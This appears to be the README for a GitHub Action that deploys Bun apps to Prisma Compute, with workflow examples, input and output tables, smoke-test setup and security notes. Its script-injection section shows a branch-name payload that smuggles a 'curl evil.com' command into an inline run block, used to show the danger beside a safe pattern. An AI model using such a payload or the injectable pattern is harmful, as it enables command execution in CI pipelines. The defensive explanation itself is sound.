A composite GitHub Action that deploys applications to Prisma Compute using the @prisma/compute-sdk. Supports both standard Bun apps (default mode) and frameworks with custom build pipelines (pre-built mode).
The action installs dependencies, builds the application via the SDK, uploads the artifact, and polls until the deployment reaches running status.
name: Deploy
on:
push:
branches: [main]
permissions:
contents: read
deployments: write # For automatic GitHub deployment tracking
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Deploy to Prisma Compute
id: deploy
uses: prisma/compute-deploy@main
with:
api-token: ${{ secrets.PRISMA_API_TOKEN }}
compute-service-id: ${{ vars.COMPUTE_SERVICE_ID }}
- name: Print deployment info
run: |
echo "Version: ${{ steps.deploy.outputs.version-id }}"
echo "Service endpoint: ${{ steps.deploy.outputs.service-endpoint-domain }}"
echo "Version endpoint: ${{ steps.deploy.outputs.version-endpoint-domain }}"For frameworks that produce their own build output, build first and then deploy the artifact with artifact-path. The entrypoint input is required in this mode.
name: Deploy (pre-built)
on:
push:
branches: [main]
permissions:
contents: read
deployments: write # For automatic GitHub deployment tracking
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: oven-sh/setup-bun@v2
- name: Install dependencies
run: bun install --frozen-lockfile
- name: Build
run: bun run build
- name: Deploy to Prisma Compute
id: deploy
uses: prisma/compute-deploy@main
with:
api-token: ${{ secrets.PRISMA_API_TOKEN }}
compute-service-id: ${{ vars.COMPUTE_SERVICE_ID }}
artifact-path: dist
entrypoint: server.js
bun-install: "false"
- name: Print deployment info
run: |
echo "Version: ${{ steps.deploy.outputs.version-id }}"
echo "Service endpoint: ${{ steps.deploy.outputs.service-endpoint-domain }}"
echo "Version endpoint: ${{ steps.deploy.outputs.version-endpoint-domain }}"Replace dist and server.js with whatever directory and entrypoint your build pipeline produces.
| Input | Required | Default | Description |
|---|---|---|---|
api-token |
Yes | — | Prisma API service token. Store as a GitHub secret. |
compute-service-id |
Yes | — | Target compute service ID (e.g. cps_...). |
app-path |
No | . |
Path to the application directory. |
entrypoint |
No | auto | Application entrypoint file. Required when artifact-path is set. |
env-vars |
No | — | Runtime environment variables as newline-separated KEY=VALUE pairs. |
api-url |
No | — | Management API base URL override (SDK default when omitted). |
timeout |
No | 120 |
Seconds to wait for the version to reach running status. |
build-type |
No | auto |
Build strategy: auto (default), bun, or nextjs. |
artifact-path |
No | — | Path to pre-built application output. Enables skip-build mode. |
bun-install |
No | auto |
Control Bun setup and dependency installation. See Dependency installation. |
github-deployment |
No | auto |
Control GitHub Deployment tracking. See GitHub Deployment tracking. |
environment |
No | auto | GitHub environment name for deployment tracking. Auto-detects when empty: production on the default branch, preview on all others. |
skip-promote |
No | false |
Deploy the new version without promoting it to the service endpoint. |
destroy-old-version |
No | false |
Delete the old version after stopping it. Cannot be combined with skip-promote. |
github-token |
No | GITHUB_TOKEN |
GitHub token for creating deployment statuses. Override with a PAT if the default token lacks permissions. |
| Output | Description |
|---|---|
version-id |
The created compute version ID (e.g. cpv_...). |
version-endpoint-domain |
The version-specific endpoint domain. |
service-endpoint-domain |
The stable service endpoint domain (after promotion). |
deployment-id |
The GitHub Deployment ID (empty if tracking was skipped or unavailable). |
When artifact-path is not set, the action handles the full lifecycle:
- Sets up Bun and installs application dependencies (unless overridden via
bun-install). - Invokes the deploy SDK which builds, packages, uploads, and starts the version.
- Polls until the version reaches
runningstatus. - Promotes the version to the service endpoint (unless
skip-promote: true).
This is the simplest path for standard Bun applications.
When artifact-path is set, the action skips building and deploys the provided directory:
- Invokes the SDK with the pre-built artifact and the supplied
entrypoint. - Polls until the version reaches
runningstatus. - Promotes the version to the service endpoint (unless
skip-promote: true).
Use this mode for frameworks with custom build pipelines, monorepo setups, or when you need full control over dependency installation.
The bun-install input controls whether the action sets up Bun and installs application dependencies:
| Value | Bun setup | Dependency install | Use case |
|---|---|---|---|
auto (default) |
Only if bun is not already on PATH |
Only when node_modules/ is missing and artifact-path is not set |
Zero-config for simple apps; respects existing Bun version and installed dependencies |
true |
Always (may override an existing Bun version) | Always | Force a clean install regardless of existing node_modules/ |
false |
No | No | Complex workflows where you manage Bun setup and dependencies yourself |
Note:
autois the only mode that respects a Bun version you set up in a prior step.truealways runssetup-bun, which may override a previously configured version. Useautoorfalseif you need a specific Bun version.
When bun-install is false, the action assumes bun is already on PATH (required for the deploy step). Set up Bun in a prior workflow step if needed:
- uses: oven-sh/setup-bun@v2
- name: Install and build
run: |
bun install --frozen-lockfile
bun run build
- uses: prisma/compute-deploy@main
with:
api-token: ${{ secrets.PRISMA_API_TOKEN }}
compute-service-id: ${{ vars.COMPUTE_SERVICE_ID }}
artifact-path: dist
entrypoint: server.js
bun-install: "false"The action automatically creates GitHub Deployments so deployment status and history appear in your repository's Environments sidebar.
The github-deployment input controls this behavior:
| Value | Behavior |
|---|---|
auto (default) |
Creates a deployment and reports success/failure. Silently skips if the token lacks permission. |
true |
Same as auto but fails the workflow if deployment tracking cannot be set up. |
false |
Disables deployment tracking entirely. |
To enable tracking in auto mode, add deployments: write to your workflow permissions:
permissions:
contents: read
deployments: writeWithout this permission the action still deploys normally — it just skips the GitHub Deployment status update and logs a notice.
When environment is not set, the action auto-detects the environment name based on the branch: main or master maps to production, all other branches map to preview.
Note: This auto-detection is intentionally simple. Once the platform supports branching and preview environments natively, this logic should be revisited to align with the platform's environment model.
To override, set the environment input explicitly:
- uses: prisma/compute-deploy@main
with:
api-token: ${{ secrets.PRISMA_API_TOKEN }}
compute-service-id: ${{ vars.COMPUTE_SERVICE_ID }}
environment: stagingThe action authenticates with the Management API using a service token:
- Go to Prisma Console → Settings → Service Tokens.
- Create a new service token.
- Add it as a GitHub Actions secret (e.g.
PRISMA_API_TOKEN). - Pass it via the
api-tokeninput.
The token is automatically masked in workflow logs.
Pass runtime environment variables to your compute service using the env-vars input:
- uses: prisma/compute-deploy@main
with:
api-token: ${{ secrets.PRISMA_API_TOKEN }}
compute-service-id: ${{ vars.COMPUTE_SERVICE_ID }}
env-vars: |
DATABASE_URL=${{ secrets.DATABASE_URL }}
NODE_ENV=production
LOG_LEVEL=infoThis action is consumed by Git ref. Pin to a tagged release for reproducible builds:
- uses: prisma/compute-deploy@v1Or pin to a commit SHA for maximum reproducibility:
- uses: prisma/compute-deploy@<commit-sha>Using @main will track the default branch and may pick up breaking changes.
The action fails the workflow step with a descriptive error when:
- The deployment version reaches
failedstatus. - The version does not reach
runningwithin the configuredtimeout. - Required inputs are missing or invalid.
- The SDK returns an error from the deploy pipeline.
.
├── action.yml # Composite action definition
├── scripts/
│ ├── deploy.ts # Deployment orchestration (TypeScript, uses @prisma/compute-sdk)
│ ├── create-deployment.sh # GitHub Deployment API: create + set in_progress
│ ├── update-deployment-status.sh # GitHub Deployment API: mark success/failure
│ └── write-job-summary.sh # Render step summary markdown table
├── examples/
│ ├── hello-bun/ # Tiny app for the default-mode smoke test
│ └── hello-prebuilt/ # Tiny app for the pre-built-mode smoke test
├── .github/workflows/
│ ├── ci.yml # Biome + type-check on every PR (no secrets)
│ ├── smoke-deploy-default.yml # End-to-end deploy in default mode (push / dispatch)
│ └── smoke-deploy-prebuilt.yml # End-to-end deploy in pre-built mode (push / dispatch)
├── package.json # Pins @prisma/compute-sdk and @prisma/management-api-sdk
├── biome.jsonc # Lint/format config
├── tsconfig.json # Type-check config
└── README.md
Non-trivial shell logic lives in scripts/ rather than inline in action.yml. The action passes all required values (step outputs, outcome, tokens) as env: variables so the scripts stay free of ${{ }} expressions and can be read and tested independently.
bun install
bunx biome ci . # Lint + format check
bun run check:types # TypeScript type checkTwo end-to-end workflows verify the action against a real Prisma Compute instance, one per build mode:
| Workflow | Mode | Example app | What it covers |
|---|---|---|---|
smoke-deploy-default.yml |
Default | examples/hello-bun |
Action sets up Bun, installs deps, runs the SDK build pipeline, and promotes the new version. |
smoke-deploy-prebuilt.yml |
Pre-built | examples/hello-prebuilt |
Workflow runs bun build, then the action deploys dist/ via artifact-path + entrypoint. |
Both workflows trigger on push to main (when action.yml, scripts/, the relevant example, or the workflow file changes) and on workflow_dispatch. They intentionally do not trigger on pull_request — once this repo is public, that would expose deploy secrets to untrusted PR code. To verify a PR end-to-end, push it to a branch and trigger the workflow manually with workflow_dispatch.
The two workflows run in independent concurrency groups, so they don't race against each other, but each is serialized against itself to avoid stomping on the same compute service.
Configure these on the repository (Settings → Secrets and variables → Actions):
| Name | Type | Notes |
|---|---|---|
SMOKE_PRISMA_API_TOKEN |
Secret | Workspace-scoped Prisma service token; shared by both smoke workflows. |
SMOKE_DEFAULT_COMPUTE_SERVICE_ID |
Variable | Compute service ID that smoke-deploy-default.yml deploys into. |
SMOKE_PREBUILT_COMPUTE_SERVICE_ID |
Variable | Compute service ID that smoke-deploy-prebuilt.yml deploys into. |
Use two distinct compute services — one per mode — so the workflows don't overwrite each other's deployments.
The deploy script depends on @prisma/compute-sdk and @prisma/management-api-sdk. To bump them:
- Update the versions in
package.json. - Run
bun installto refresh the lockfile. - Open a PR —
ci.ymlwill run Biome and the type check on the diff. The smoke-deploy workflows do not run onpull_request(see Smoke tests for why), so trigger them viaworkflow_dispatchagainst the PR branch if you want to verify a real deploy before merge. - Merge — both smoke-deploy workflows run automatically on
pushtomainand exercise the action end-to-end.
GitHub Actions expressions (${{ }}) interpolated directly into run: blocks are vulnerable to script injection. A maliciously crafted input or branch name could break out of the intended context and execute arbitrary commands.
This action mitigates injection by never using ${{ }} expressions inline in shell code. All external values are passed through env: blocks, which bind them as environment variables rather than interpolating them into the script text:
# WRONG — injectable: a branch named `"; curl evil.com #` would execute
run: |
curl --data '{"ref":"${{ github.head_ref }}"}' ...
# CORRECT — safe: the value is an env var, not part of the script text
run: |
curl --data "$(jq --null-input --arg ref "$INPUT_REF" '{"ref":$ref}')" ...
env:
INPUT_REF: ${{ github.head_ref || github.ref_name }}When adding new steps or modifying existing ones, keep all ${{ }} usage confined to env: blocks.
GitHub Actions does not render the name: field of composite action steps in workflow logs. Instead, it displays ► Run <first line of the run: block>. To produce readable log output, every run: block starts with a comment that acts as the de-facto step label:
- name: Create GitHub Deployment
shell: bash
run: |
# Create GitHub Deployment
bash "${GITHUB_ACTION_PATH}/scripts/create-deployment.sh"This renders as ► Run # Create GitHub Deployment in the workflow log — not perfect, but far more scannable than raw commands or if statements.
Apache-2.0